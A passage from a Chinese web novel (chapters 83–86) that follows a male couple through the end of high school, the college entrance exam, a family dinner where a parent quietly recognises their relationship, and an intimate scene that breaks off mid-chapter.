“嗯啊。”严越啧啧两声:“要不我掩护,你现在就窜出去吧?” 江淮:“……” 鉴于大假全年级都要放,学校会根据安排依次广播放学年级,高一初一的放开后,这会儿安静许久终于有了微弱的电流声响起:“高三年级……” 教室瞬间就混乱了,书包连同屁股都已经离开座位几公分,就差一声令下集体出发! “今晚玩得开心!”严越笑着祝福。 “嗯,”江淮只单拎个黑包,听到下课的指令后直起身来,长腿三两步便走出后门。 几乎是走出去的瞬间,手腕便被攥紧,熟悉的气息钻进鼻腔,江淮轻地顿住,还没反应完全楚明就拉着他快速往楼下跑。 “跑快点,人多挤着难受。”楚明说。 “好。”把书包挎好,江淮跟着他的步频便三级台阶一下,快到底楼时还放肆地四五级一跃,飞速地奔出教学楼,往大门走去。 刷完脸楚明“尾随”出去,江淮揽住他肩头,问:“你没刷门禁怎么进来的?” “混进来的,”楚明抱住他手臂:“我看放假人流挺大。腿有事吗?” “没,”江淮站定,晃了晃腿:“上周复查过,基本没有问题。” “嗯,”楚明什么都没带,最近雨水多有些降温,他搭了件白色外套,从兜里摸了颗糖塞到他手里:“书包给我背。” “不用,就几本书而已。”江淮咬开包装袋把糖含进嘴里,抬了下下巴:“怎么回去?” “坐公交吧。”楚明说。 “好。”江淮跟着他走。 回去有直达的公交,车次也还算多,这种交通方式有效避开了堵在学校门口的各种车辆。 晚霞铺了半边天,云层都烧叠成橙红。 七点半全城路灯一应开启,夕阳褪去少许让出深蓝色的干净天幕,川流不息里各色灯光折射交汇,时间在行进里慢下节奏。 江淮坐在里面,楚明则挨着他从旁坐下,窗玻璃上印着他们的脸,下一秒视线相交。 “我有种分开了好几年的感觉,”江淮偏头,倒在他颈窝里,鼻尖抵在他喉结深深地吸了一下:“结果才不到两个月。” “是挺久的,”楚明垂眼看着他,指尖轻轻刮了下他的眼睫毛:“你是不是瘦了?” “也许吧,”江淮闭上眼,“学习还挺累的。” “那先睡会儿。”楚明轻声说:“到了我叫你。” “嗯。”江淮应道。 最幸福的时刻莫过于坐在傍晚的公交车后排,华灯满街晚风温柔,轻轻地靠在喜欢的人怀里,慢悠悠的行驶速度带出暖融融的睡意,疲惫流水般化在身体里。 江淮轻地笑着,睡了过去。 视野里映进熟悉的街巷店面,楚明有些恍惚,听到车内广播里的那句“下一站——三段路”,他指尖轻点。 凑到江淮耳边,低声说:“可以醒了,马上到站。” “这么快啊……”江淮胡乱摸到他搭在腿上的手,握住。 “嗯,”楚明说:“本来也不远。还想睡吗?大不了到终点站再转回去。” 江淮笑了起来:“那太傻逼了。” 说着他缓缓离开楚明的肩头,坐直,淡淡地瞥过窗外低垂的夜幕,声音里还带着困意:“天黑了。” “走,”楚明扣紧他的手腕,在车辆停稳之后才拉着他往外走,站台就位于小区门口十几步路的位置,他停下来看了看周边的饭店,问:“我蒸了点饭煲了点汤,分量不多,还有其他想吃的吗?” 江淮挽着他,小声地说了句:“有。” “什么?”楚明偏头看着他。 江淮嘴角噙着笑意,目光一寸寸带过他的眉眼、下落至唇间:“你。” “……我说正经的,”楚明笑了笑:“快点,给你半分钟思考,没有答案就不买了。” “不需要,”江淮摇了摇头:“有饭就行。” 楚明点头,便和他往家里走:“三中把你养这么差?有饭就行,就没点别的要求?” “也不是,”江淮说:“你在的话,别的都不重要。”—— 作者有话说:嘿嘿[抱抱][抱抱] 第84章 第 84 章 “全员A大吗?” 楚明五点过到的车站, 回家之后把饭蒸好汤煲好,便直接打车去三中接人。 这会儿门一推开,饭菜香气便扑面而来, 江淮挑了下眉:“好香啊。” “有这么饿吗?”楚明笑着带上门, 走到鞋柜前弯腰:“早知道我该给你带点零——” 话还没说完,江淮自下而上扣紧他的手,手指强势地穿进指缝往身后的墙壁压去,楚明闪躲不及, 后背重重地撞实, 他轻地拧眉,下一秒后脑勺被温热的掌心包裹、稍微用力他便仰起头。 落在鼻尖脸颊的呼吸凌乱,许是太久没接吻过, 江淮的吻法那叫一个毫无章法。 磕到牙齿不说,下唇和舌尖接连被咬到时,楚明实在忍不住了, 他搂着江淮脖颈的手迅速下移, 掐住他侧腰狠地用力,屈膝顶腹,只在一呼一吸之间便将江淮反压到墙上。 江淮很轻地哼了一声:“嗯?” “别急, ”楚明虎口卡在他的侧腰, 掐得紧, 估计皮肤上已经落了掐痕, 但无所谓, 这点江淮百分百能承受,他扣紧江淮的后脑勺,拇指指腹按着他下颚那块皮肤往上一顶,江淮嘴唇因动作而微微张开。 垂眼, 目光沉沉地落在他才被润得泛红的下唇,却迟迟没有贴合紧。 呼吸蹭过,带出密密麻麻的酥痒。江淮不悦地皱了下眉,声音微哑:“你他妈亲不亲?” “等等,”楚明笑了声,刚被江淮咬得有点麻,他缓了两秒才俯身压下去,慢慢地舔舐过他唇瓣,从缝隙里深入。 才进屋灯都没来得及开,晦暗的光线里两道人影缠得很紧,偶尔有压抑克制着的喘息和哼声不经意地泄出。 江淮在他腰上用力抓了一把,吻到深处时他摸到楚明胸口想往外推,但随即手腕便被攥住,反被按到墙壁上。 “你……”江淮试着挣开他的钳制,纠缠间后脑勺被扣得更深,紧贴着的胸膛,搏动的起伏交错,不知道是因为突然的纠缠还是什么,他腿一软往下滑去。 楚明反应极快地把他捞起,往自己怀里收紧,流连地蹭过他嘴角,呼吸放稳后才伏在江淮的耳畔轻声:“刚怎么了?” “没站稳,”江淮索性环住他脖子,将身体的重量尽数交由他,嗓音沙哑:“累了。” 楚明撩了下他额间微湿的发,手往下托住他屁股便往上一颠。 “我操……”江淮惊得立刻抱紧他,以防万一腿还夹着他的腰。 楚明偏过视线,解开他鞋带后轻拍他的脚踝:“动一下呢?” “嗯?”江淮看向自己的脚,顺着楚明手上的力把鞋脱了,轻笑:“你准备抱我去哪?” “上桌吃饭,”楚明也换好鞋:“你不是饿了吗?”- 饭后快速收拾完碗筷,江淮窝在沙发里,随便放了个最近新出的电影。 楚明洗完澡出来,穿着件清爽的白t,他坐到江淮旁边,淡淡扫过电视屏幕时问了句:“你们国庆要放几天?” “三天,”江淮按着抱枕,倾身靠在他肩头:“还一大堆试卷。” 楚明眉梢轻动:“这么惨啊。” “嗯,”江淮说着说着横倒,枕着楚明的大腿躺了下去,把抱枕举着去挡客厅的顶光,声音放松:“过段时间誓师大会,再往下联考诊断几次,就差不多结束了。” 楚明揉着他的头发,指尖插进发间很轻地按着:“会觉得有压力吗?” “还好,”江淮侧了下脑袋,看着他的眼睛:“目标在前,往前追就行,没什么需要心忧的。” 楚明笑了笑,俯身吻了下他眼皮:“时间还长,不急。” “嗯。”江淮挑了下眉,楚明身上这件衣服实在是有些透了,指腹压上去,薄薄的衣料便现出腹肌的轮廓,微微用力能感受到硬度,他忽然没厘头地说了句:“我有段时间没玩球了。” 楚明轻顿,半秒后反应过来他的意思,嘴角噙着淡淡的笑意,他伸手撩开江淮的衣摆,挑眉:“其实还行,没有八块也有六块。” 江淮不悦地抿唇。 “明天想玩玩吗?”楚明笑着摸了摸他的腰腹,指尖轻地打着圈,“当放松了。” “好啊,”江淮双臂展开挺腰伸了个随意的懒腰,眼角被困意逼出不太明显的泪滴,他声音含糊:“但我不太敢保证手感……” 声音越说越低,到后面楚明贴着他的唇瓣都没能听明白他说的是什么语言,再然后就彻底没声了。 楚明轻轻揉着他的脑袋,等了会儿才托住他腿弯把人抱起来,慢慢地走回房间,用脚踢开门,轻手轻脚地把江淮放到床上。 夏末秋初空调温度还没有明显的改变,只是空调被覆盖的面积会逐渐扩大。 楚明先是帮他盖好,之后才躺到他身边,指腹轻轻压平微蹙着的眉,他吻在他嘴角:“晚安。”- “好久不见,”严越用食指转着球,眼见球再次飞出去,他叹了口气:“三天不练手生啊。” “好久不见。”楚明轻巧地接住篮球,潦草地试试手感之后,他单指抵着球身,稍一发力,球便在指尖利落地飞转起来。 江淮挑了下眉:“漂亮!” “不行,我再试试,”严越不信邪地去捞另一颗球,轻咳一声开始飞转:“谁来帮我记个秒?” 话音没落篮球就离家出走了。 严越:“……” “岂止手生,”江淮没眼看。 “没办法,有得有失才是常态,”严越笑了起来:“楚哥,你知道你对江哥有些盲目自信了吗?” “嗯?”楚明停住球,看了他一眼。 “我这次班级倒十五,”严越扬了扬下巴:“江哥也只是擦边超我十名而已,你居然敢翻倍赌!赌注是kiss吗这么豪爽?你是不是不知道我们班统共才三十几号人?” 楚明轻顿,他稍显茫然地看向江淮,江淮只是挑了下眉,没多言。 “是吗?”他应付过去。 等赵逵逵他们到场开始快速分队时,楚明才压低声音问:“什么翻倍赌?” “我说我们俩在赌我成绩能超他多少名次,”江淮揽住他肩头笑着:“刺激他学习的手段而已。” 楚明也跟着笑起来:“你真是……” 到高三之后学习任务重如山,八中教学管理比三中严得多,单从赵逵逵的投球技术就能窥见七八。 整场打下来,命中率过半的都寥寥无几——围着长凳的边躺下一堆人。 “我操,”赵逵逵抬起手,艰难地说:“大学这么养人的吗?楚哥你今天百投百中,比江哥还秀!” 江淮坐着,往旁边靠在楚明身上,呼吸间扑落的全是热气。 “也可能是高三太伤人了,”楚明用纸巾轻地捻去他额间的汗滴,笑着捏了捏他的脸,说:“久坐对身体不好。” “我也觉得是高三的问题,”严越抱着双腿,“说来奇怪,怪让人无欲无求的。” 汤麟忽地开口:“不对,这种应该不是高三的问题,越哥你可能是虚了,谁叫你高一高二的时候无缝衔接,现在没精力了吧!” “……”严越登时跳了起来:“停,停停停!我什么时候无缝衔接过,我操,不许造谣毁我形象啊,这种言论!窦娥来了都要喊严越的冤!” 长凳上下传出一阵爆笑,满场跑下来太累,有人气没接上笑得疯狂咳嗽。 “可是越哥的进步不是全校都知道了吗?”汤麟说:“确实无欲无求,搞笑死了。” “那得赖江哥,”严越啧了一声:“我哪经得起他的挑衅,一句话给我整激动了,谁知道他搞欲扬先抑那一出,情绪到了我直接就掀桌而起。” “傻逼,”江淮笑着蹭了下楚明:“别什么都赖我。” “那怎么办,我又打不过你男朋友,哪敢赖他。”严越说着挑了下眉:“话说回来,楚哥,你们A大,有帅的吗?” “你关心这做什么?”江淮按住楚明的手,连忙说:“怎么,也准备考A大?” “不是,江哥你急什么急,”严越眯起眼睛,微妙地打量着他:“怎么,有危机感了?” “你们聊天纯往死里聊啊,A大有是有,但我不怎么关心。”楚明笑着捏了捏江淮的手,安抚着。 “有照片吗?”严越从地上挪到凳子腿旁,没敢挪到楚明那边,只敢隔着江淮探出脑袋:“我来品鉴一二。” “你刚不是还无欲无求?”江淮垂眼扫他:“这算什么?” “这算……鼓励机制。”严越笑着摸了摸鼻尖:“怎么你能为楚明考A大,我不能为我未来男朋友考A大?” “我操,你们都考A大那我们怎么办?”汤麟面露苦色:“我就是再读半辈子书也摸不到A大的分数线啊!” “你懂不懂什么叫目标,”严越扭头看了他一眼:“目标就是用眼睛去看的地方,管他能不能够得着,先看看呗,就像帅哥,目标就是让你先看看他,又不是说一来就让你去上他。” “话这个糙,”赵逵逵说。 “说得好,那我现在的目标就是A大!”汤麟像被火烧到屁股,噌地站了起来:“A大!A大!” “其实A大还真挺不错的,”赵逵逵四十五度仰望天空:“老师同学问就说我的目标是A大,听着就很有排面!” 严越笑得直鼓掌:“笑死我,还挑上了。” “全员A大吗?”楚明小声地伏在江淮耳畔,轻笑着:“那你可得加油了。” 江淮挑了下眉:“遵命。” 可能是独属于高三生的魔法,三天假期跟三个小时没有任何区别,甚至还不如三个小时。 什么感受都没来得及留下,人就裹着校服坐进教室,到后期模考阶段,连跑操环节都对该年级学生无效。 班级寝室食堂三点一线,像被封印在真空里,只见时针分针走着,却毫无时间流逝的实感。 “我后期考场经验不多,”楚明走着,声音带着春日的微寒:“但按常理来说,三诊会比之前考试都要简单,安慰性质的,看排名不看分。” “嗯,”江淮抬眼,手机就立在书桌前,屏幕里的人穿着件黑色外套,内搭领口比较浅,能清晰看到颈肩的项链,是他送楚明的十八岁生日礼物之一。 “可是,楚哥,”严越从旁边探出脑袋:“题越简单我错越多是怎么回事?” 楚明轻顿:“题难呢?” “题难的话就那样,但排名还是比较稳。”严越皱着眉:“题简单反而往下掉。” 江淮微微往后靠在椅背,转着笔在玩。 楚明说:“你先跟我说说你是怎么判断一套题是简单还是难,其次……” “还有三分钟,”江淮忽地出声,撩起眼皮扫了眼屏幕里的人。 “啊啊啊啊啊马上马上,”严越瞪他一眼:“抠死你得了!江哥!” 楚明笑笑,又继续讲题:“导数里面隐零点问题是基础,你没想到用……” 等三分钟迅速解决完严越那堆零零碎碎的问题后,江淮笑着去戴耳机,接下来是属于他和楚明的时间。 毕竟是共用寝室,江淮每晚跟男朋友视频对已经单身长达小半年的严越来说纯是折磨,更是挑衅,所以在严越提出“让楚明给我讲半小时的题”的要求时,楚明答应了,他也没说什么。 尽管后来他强行把时间缩成十五分钟,多搭十五分钟换成自己给他再讲半小时,严越不乐意归不乐意,买卖算是做成了。 “讲累没?”江淮问。 “还好,”楚明为方便讲题早早回了寝室,这时给自己接了杯热水正喝着,“你现在有什么问题吗?” “没,”经历完多轮粗细兼有的复习和大大小小上百次考试,江淮鲜少再遇到有不会做的题,跟楚明的交流也会更多停留在提高效率层面,他懒懒地起身,往厕所里走:“我想你了。” “没几天高考了吧,”楚明凑近屏幕,看着他:“这段时间我就不回来了,你容易分心。” “也是,”江淮摸到花洒,“我洗个澡。” “啧,”楚明笑了笑:“那你打算把我放哪?” “放……”江淮很轻地摇了下头:“算了,容易擦枪走火,那你说句晚安,我就挂了。” 楚明点了下头:“晚安。” “嗯,”江淮说:“晚安。” 三诊确实慰天下之大心,但随之而来的成绩却打得人猝不及防,因为按比例划定的一本线也拔高到惊人程度。 还没来得及调理完,最后一次一比一还原高考时间的模拟考展开,成绩尚且是个未知数,在惴惴不安的期待里,七号的天光泄出云层。 两天时间,从害怕惶恐到猴急期待,翘首的寂静里重复着“考试结束——”的铃声,彻底宣告了高中生涯的终点。 江淮指尖夹着准考证,在安检通道旁拿回自己的手机,抬眼时天际线泛出金色,而视线里,楚明笔直地站在台阶下,白色衬衣领口微敞,抬头时眼里噙着浅浅的笑意。 他挑了下眉,三两步跨下台阶,不顾身边或进或出的人流,张开手将楚明揽进怀里,下巴轻地搁在他肩头:“我考完了。” “恭喜,”楚明虚虚扶住他的腰,笑着问他:“刚才考英语是不是感觉空调特别凉?” “好像是有点,”江淮说着便去找他的手,十指相扣握紧。 “嘶,好凉。”楚明捏了捏他的手指,反手抓住:“需要回班吗?” “不用,严越在就行。”江淮扭头看了一眼,印着“高考加油”的鲜红横幅正迎风荡起,一张张陌生的面孔向外疯狂奔去,耳边沸油般炸响毫不收敛的尖叫呼喊,他很轻地叹了声:“考完比我想象中要平静一些。” “也可能劲儿还没缓过来,”楚明手心带了下他的腰,撤出半步和他往外走:“现在有什么特别想吃的吗?我给你做。” “想……喝粥?”江淮抿了下唇:“有点渴。” “好。”楚明点头应下。 今天学校周边交通实在是让人一言难尽,从校门到临近的十字路口,短短几百米,私家车大巴车铺了满街。 没有人遵循所谓的人走人行道,车走车道,在宽敞的马路、逼仄的车间距里自由行走,晚风轻拂,夕阳正落。 “就走回去啊?”江淮捏着楚明手腕上的小凸起,轻歪头。 “打车也得先走出去啊,”楚明偏头看着他,晃了晃紧握住的手,笑说:“怎么,考傻了?” “也许吧,”江淮想了想:“感觉情绪思考都挺空白的。”说着他挑了下眉:“你之前会吗?” “倒没有,我当时考也是抱着去看题的心态,考完脑子里只是在点评,这题有水平那题太烂,”见路口有绿车,楚明招了下,怕妨碍其他车辆快速把江淮卷上去,报了地名后才继续说:“心情还好吗?” “很好。”江淮偏了些靠在他肩头:“突然意识到,我们可以天天在一起了。” 楚明笑了起来,轻轻捏着他的手:“先睡会吧。” “嗯?”江淮听话地闭上眼睛。 “我总觉得你现在怪傻的,”楚明说:“到了我叫你。” 路程不远,到小区门口后,江淮伸了个不太标准的懒腰,被楚明长臂一揽拉进怀里。 面对面拥抱时鼻尖轻地擦过,江淮挑了下眉,拉着他的手便飞快往里跑。 “嗯?”楚明潦草拽了把被拉到肩头的衬衫领子,反应了半秒才跟上:“你急什么?” “脑子清醒了,”江淮连电梯都放弃了,直奔楼梯而去,一路三步做两步跑到家门口,等楚明掏钥匙时他从后往前抱住他,耳鬓厮磨:“有要事想先办。” “至于吗?”跑得太急,楚明呼吸有些凌乱,戳钥匙孔的时候还偏了一下,拉开门他正要把江淮一并拽进去,无形之中感觉什么落在自己身上,他扭头,被惊得后背撞到江淮胸口。 “哟,”吴珊和江竞先双双抱胸站在鞋柜前,以一个要开门的姿势,吴珊的手甚至还在门把上,笑容微滞:“你们这表情是干嘛?不欢迎我们吗?”—— 作者有话说:高中学习到现在是基本告一段落,但生活还有一小段[亲亲] 第85章 第 85 章 “要亲晚上亲……”…… 江淮右手还卡在楚明腰间, 慌忙之下前胸贴后背,距离近得格外暧昧。 他轻咳了声,镇定自若地开口:“先进去。” 兴许是出于前一秒聊的话题比较……这会儿偏偏撞见家长, 楚明耳尖不免染了些绯色, 他暗暗松开江淮的手腕,表情尽量很淡地:“嗯。” “才四点多我和你爸就开始倒腾饭菜,”吴珊退后几步让他们进来,等江淮换好鞋, 她笑着说:“现在有没有感觉家里全是饭菜的香味!” “您做的?”江淮有些忧心地问。 “那倒没有, ”吴珊腼腆一笑:“主要是你爸在操刀,我今天有点累,就负责挑, 在网上还另外点了几个菜,也算尽力了。嘿嘿。” 江淮单挑了下眉:“那就好。” 楚明忍不住笑起来,习惯性地抱住江淮的手臂, 小声说:“你这也太明显了。” “没直接说她做的不能吃已经收敛了, ”江淮凑到他耳边,也小声地说,“再者明说也没什么, 她自己清楚。” 楚明笑着拍了下他的手背。 “先去洗手, ”江竞先看了他们一眼, 说:“马上开饭。” “嗯。”江淮应下后便拉着楚明的手腕快速往厕所走, 门轻轻合上, 隔绝了门外的人声,他轻地松了口气。 楚明拧开水龙头,认真洗干净后他往旁边撤出小半步,“你不洗吗?” “洗, ”江淮从后往前抱住他,手臂从他侧腰穿过,随意在水流里搓了两下,湿淋淋的右手便往上钳住他下巴,水珠顺着手臂线条一路往下滑,他没管,目光淡淡地垂落在楚明嘴唇,指腹一挑便把他扳向自己,吻了上去。 镜面里清晰地映出两道身影,江淮偶尔抬眼,与镜子里的人视线相接,轻笑化在唇齿间。 腰被环紧,江淮手臂用力,把楚明顶向墙壁,五指张开扣着他脖颈便往上抬,再度深深地吻了进去。 呼吸乱得像错击的鼓点,气息交缠间细密的喘息隐隐浮现,楚明偏了下头,见江淮还想继续,他拎住他后脑勺往后拉了些许距离,微喘着说:“……该出去了。” “无所谓,”江淮说着又要继续。 “停,”楚明手心捂住他的嘴,略带严肃地说:“要亲晚上亲,现在要吃饭。” “啧……”江淮挑了下眉,朝他手心亲去,舌尖轻地舔过手心不太分明的纹路,眼里泛着淡淡的笑意。 “你真的是,”楚明反着扣住他下巴往上微抬,在他唇角轻地吻了一下,说:“洗手,现在。” 江淮轻顿:“行吧。” 一前一后地回到餐桌,江淮慢半分钟出来。 看清他时,楚明瞳孔微微一震,“操……” 在厕所灯光下看,唇瓣间淡得几乎可以忽视的吻痕,但不知道为什么,江淮这会儿走出来时,肉眼可见下唇微微发肿,颜色也要深一些。 “怎么?”江淮坐在他旁边,轻挑了下眉。 楚明拿了杯水递到他面前,小声地提醒:“多喝。” 江淮:“……” 幸好吴珊和江竞先都赖在厨房,兴许是在搞什么热闹,这会儿夫妻俩双双走出来,江竞先手里端着个大盘子,上面盖子还没掀。 江淮端着水杯浅喝了一口,问了句:“搞什么?” “你不是今天高考考完了吗?”吴珊快速脱掉厚手套,笑了笑:“然后我就尝试着给你做了个蛋糕!” 江淮:“……” 他视线擦过吴珊,稳稳地落在江竞先脸上——眉是皱着的,那么百分之九十不成功。 盘落桌,吴珊笑着去拉开盖子,并不充分的热气里,淡褐色的蛋糕胚占了全部的空间,最顶上还临时戳了只小番茄。 “surprise!”吴珊用筷子敲了敲盖子:“毕业快乐!” 江淮轻顿:“谢谢。” 楚明起身帮忙分蛋糕,一刀下去他凝滞住了,他没亲自动手做过,但是基本的常识还是有的,比如面包或者蛋糕胚大多是实心的,更大多数是……干的。 “呃,”江竞先和他对视一眼,迅速把盘子转了个圈,小声地说:“一人一口的量,有吗?” 楚明拿着小刀无从下手:“……也许。” 怎么分出四份的,楚明敢说连他自己都重复不了,把外形最能看的那小份给到吴珊,自己和江淮共用一份,剩余的全部归江竞先了。 江淮用勺子刮掉一小截,轻抿了一口,拧眉:“甜了。” “只是甜了吗?”吴珊高兴起来,手舞足蹈:“我以为第一次做出来的东西不太能吃,还想着要不要重订一个,没想到——” “安慰你呢。”江淮淡淡地放下勺。 吴珊:“……” 在江大孝子的直言不讳下,餐桌上的其他人也幸免于蛋糕胚之难,楚明快速收拾好“蛋糕”,连渣儿都没留半点在视野范围内,全塞垃圾桶了。 “考完就不多想,成绩什么的也不是那么重要,”吴珊说:“考得好也不会比小楚更好,考得不好呢反正有小楚垫着,我就不心忧了。” “是吗?”江淮轻挑了下眉:“您现在把楚明当什么?” 楚明垂在桌布下的手很轻地敲了敲江淮的大腿,示意他说话要有分寸。 “不管当什么,反正地位比你高一点。”吴珊笑着看向楚明:“小楚太优秀了,我实在是很喜欢!” 这话正戳心意,江淮点了下头:“嗯,我也喜欢。” 餐桌上的人都短暂地一滞。 吴珊啧了一声,皱眉说:“江淮你跟我抢什么抢!哪回我回来小楚不在,你们同辈天天在一起玩,我一年才见小楚几次,你就别跟我抢了!” “别乱说,”江淮对某些字眼格外敏感:“我倒是想跟他天天在一起。” 楚明:“……”嘴跟筛子似的。 对面江竞先正认真地吃着菜,一副置身事外的超然模样,只是起身盛汤的时候不经意地朝江淮楚明的方向投去一瞥,接着不动声色地收回。 吴珊瞪了下他:“这么哥俩好吗?我记得你以前跟小严那不是三天没见都是常态吗?怎么突然变得怪黏人的?” “有吗?”江淮看了她一眼。 “有,”吴珊像是突然想起什么,连忙转向楚明:“诶,小楚,我跟你讲。” 楚明看了过去:“您讲。” “你别看江淮现在冷着个脸谁也不敢招惹,”吴珊笑了笑:“他小时候黏人黏得要死,但凡你要是抱着他,他能在你身上挂一天,死活不下来。” 江淮冷冷地扫过去:“别乱扯。” 楚明笑了笑,偏头在他耳边极为小声地说:“有时候确实是。” 江淮:“……” “但上学之后就变了,”吴珊摇了摇头:“当初就不该听你爸的,才黏我两年就开始有社交距离了,真不知道幼儿园老师都教了你些什么。” 江淮认真地思考了一会儿:“不记得。” “分人吧,”江竞先应该是吃饱了,毫无预警地便插进聊天频道,视线草草掠过楚明落到江淮身上,说:“我看他跟小楚就挺黏的。” 楚明轻顿:“……是吗?” “也可能是同龄人之间磁场接近,”江竞先端起水杯往前探了些,没敬,稍作停顿便抿了一口,“这也正常,我当年读书的时候,和我同桌也是学吃睡都在一堆,可惜之后就各走各的人生了。” 楚明看着他:“嗯……” “别管他,吃饱喝足就开始瞎扯,”吴珊说:“老师当久了屁话也越来越多。” 江竞先:“……” “都差不多,”江淮淡淡地开口:“你们俩半斤八两。” “那不然我们是你爸妈不是你叔叔阿姨呢,”江竞先笑笑,又把视线转回楚明身上:“小楚是不是马上要期末考了?” “啊,”楚明说:“是。” “我今年恰好也有大一的课,期末考是比高考晚得多,”江竞先说:“准备什么时候回A大啊?” 楚明如实回答:“后天早上的车。” “时间挺紧呐,”江竞先叹了口气,目光陡移:“江淮你没打算去A大逛逛吗?” 江淮挑了下眉:“打算啊。” “需要给你在A大附近租个房子吗?”江竞先问:“我好像有朋友也住在那边,你可以去借住一段时间。” “不用,”江淮心想他要睡楚明的床,快速回绝:“我能安排。” “行、行吧。”像是最终确认了什么,江竞先接连点了两下头,才收回视线,笑着说:“记得喝点汤,很鲜。” 饭后江竞先去洗碗,吴珊去帮忙,江淮楚明便坐到了沙发上。 楚明小声地说:“你不觉得你爸很奇怪吗?” “还好,”江淮眉梢轻挑,没多反应便理解了楚明的言外之意,笑着:“你知道他研究什么的吗?” “嗯?”楚明轻顿。 “他现在是社心学院教授,”江淮轻顿:“之前是搞性研究的。” “所以?”楚明歪了下头。 “他知道我们的关系。”江淮笑了笑:“饭桌上都不叫试探,纯粹是在确认。” 楚明轻顿,虽然见过很多次家长,但之前总隔着层纱,陡然掀开他还有些忐忑:“那你还这么镇定?” “不刚好嘛,”江淮捏着他的手,余光见厨房门关着,还凑楚明颈侧亲了一口:“他来搞定我妈,就不需要我们出面了。” 楚明顿了一下:“是吗?” “嗯,他比你想象中开放,”江淮说:“也比我想象中靠谱。” 差不多九点的时候,吴珊他们要往回赶。 “今晚睡不睡无所谓,考完不是要放肆一晚上吗?你随意啊,”吴珊弯腰换好鞋,笑着看向江淮:“我就先走了。” “再见,”江淮体贴地多说了一句:“路上注意安全。” “嗯,”吴珊点头,忽地看向他旁边的楚明,稀里糊涂地来了句:“小楚要不要跟我们走?我顺路送你回家。” 楚明指尖轻捻:“我……” 旁边江竞先敏锐地先开了口:“才考完说不定晚点他们还要去吃夜宵什么的,我们就别管了,你不是等会还有个会?” “哦,也行。”吴珊点了下头:“那我们先走了,江淮,照顾好小楚啊。” 江淮笑了声:“嗯。” 等门关上后,楚明轻地叹了口气。 “你怎么回事,”江淮从后抱住他,下巴蹭了蹭他脖颈:“我没见你这么紧张过。” 楚明“嗯”了一声:“不知道,感觉太像……” “偷情啊?”江淮勇敢地接了他的话,笑着去咬了下他耳垂。 这下咬得没轻没重,楚明颤了一下:“嘶……” 江淮没察觉到,只是抱紧他,低声说:“走,去床上。”—— 作者有话说:其实江爸在很早之前就察觉到了[眼镜] 今天测八百,人是竖着去的,回来是爬回去的。 哎,人总是有些深恶痛绝之物[爆哭][爆哭] 第86章 第 86 章 “脱了。” 空调开着, 夏夜在蝉声嘶鸣里褪去热燥,深蓝色天幕黑垂,清风里还残留着白昼的气息。 一前一后洗完澡出来, 楚明简单收拾完衣服才回房间。 “困死了, ”江淮呈大字形摆在床中央,灰色被单尽数压在他身下,他躺了两秒,还嫌不舒服似的, 翻了个身, 趴伏着霸占了大半张床,惬意地长长呼出一口气。 楚明垂眼:因为动作幅度的缘故,江淮的衣摆缩了上去, 露出一截光滑雪白的后腰。 他轻顿,坐到床沿问:“要睡吗?我关灯。” “关吧,”江淮埋进松软的枕头里, 脸陷下去少许, 声音含糊不清:“困得我一觉能睡到明天中午。” “好,”楚明关好灯,缓慢地把双脚收上床, 伸手轻地扯了下被子, 没扯动。 他默了一秒, 无奈地问:“你要这么睡, 那我怎么睡?” “嗯?”江淮小幅度地抬了下眼, 只隐隐看到层薄薄的月光,像水似的流淌进来,他不太清醒地闭上眼,“好困……” 见状, 楚明没再说什么,只是轻手轻脚地踱过去,坐到他侧腰边,轻轻托起他肚子时小心翼翼地把被子一点一点扯出来,嘀咕道:“你爸在菜里加什么了吗?困成这样。” 终于把人被分离,楚明舒气,往上挪了些许,垂眼看着他的后脑勺,小声说:“你确定要趴着睡?” 江淮哼哼了一声,不知道是在回答还是在干嘛。 “考完后劲这么大?”楚明自言自语了一句,后背抵靠到床头,把被子搭了些在他身上,又盖住自己,侧身把床头柜上的手机拿了过来。 光线没调太高,随便回了两条消息,他戳进朋友圈看了看。 清一色地在发“考完了”,只是形式各有不同。 严越他们去了酒吧,不知道得喝多少喝到多晚;赵逵逵那批人去的网吧,点了个大餐说准备通宵;杨棉棉发了张在染发的照片;喇叭哥发的图片背景大概是在ktv……其余的相交较浅的要么没发要么简单一句要么就全是大餐图片。 “啧,”楚明轻挑了下眉,想起自己高考完还在学校上课就想笑,实在是太没有体验感了。 他正要退出来,就见顶上跳进一连串的消息 :嘶……期末大作业也挤到一团了。 草草浏览完任务要求发现也不过如此,楚明把屏熄了,放好手机慢慢滑到被子里,抬手扯了下江淮那边被拱得不太规则的被角,还没弄好腰间便一重。 江淮的手像跟面条似的挂了过来,半秒时间都没有,人也跟着翻身,长腿一跨,半天身子都搭在了楚明身上。 楚明轻顿,感受到喷落在胸口的热气,他喉结滚了一下,问说:“睡着了还是没睡着?” “没……”江淮嗓音偏哑,可能确实是困着了。他手指胡乱地探了探,戳进楚明衣服便掐住他腰间的肉轻轻捏着,“你刚在跟谁聊天?” “也不算聊,”楚明把玩着他长了些的发丝,“看了会儿他们在干嘛。” 江淮问:“在干嘛?” “干什么的都有,但没看到你这样困得乱睡的。”楚明轻笑着,摸了下他耳垂:“从我身上下来,压死了。” “不,”江淮说着更大范围地压到楚明身上,他左膝有分寸地跪在楚明腰侧,手一路往上顺,不知道哪个部位用力,身体腾空时他飞速地跨坐到楚明腰间,肩头披着看似快要滑下来的被子。 猝不及防承重,楚明手指收紧,轻拧了下眉:“操……” 声音很快被堵了回去,江淮俯身吻来,但似乎并不满足,稍作停顿后便向下移,舌尖勾住项间的链子往上顶挪开,紧接着齿尖很轻地抵着楚明脖颈,张嘴咬住,力道收敛着在含吮。 “嘶,”楚明偏了些头,殊不知这样留给江淮的发挥空间更大。 他手指乱七八糟地朝江淮抓去,想和他拉开些许距离,但身处下位实在心有余而力不足,他只勉强抓住江淮后脖颈,刚想用力,肩颈处传出一阵嘶痛,他受不住地轻哼了声,指尖力量瞬间消散。 还在向下。 江淮微湿的唇逐渐下落,叼到楚明睡衣衣领时不满地蹙眉,手指扯着衣摆便往上拽去,感受到楚明身体微僵,他吩咐说:“脱了。” 楚明呼吸转沉,他稍微撑起上半身,还没有所动作,江淮便拽着他衣服往上,迅速地扯了下来。 这么快?楚明看着被扔到旁边的衣服,愣了一下,“你……” 话音再度戛然而止,匆忙间锁骨被牙齿轻地磕到,下一秒温软的湿润安抚性地点过,便直线下移,在楚明反应过来想推开时,他已经含住,毫无章法地挑弄。 “你不是困了吗?”楚明呼吸彻底被搅散,抓着床单身体绷紧。 “嗯,”江淮只低低地应了一声便又继续,与此同时他伸出手去找楚明的,和他十指相扣的刹那很重地磨了一下。 楚明身体一颤,手指和江淮的猛地绞紧。 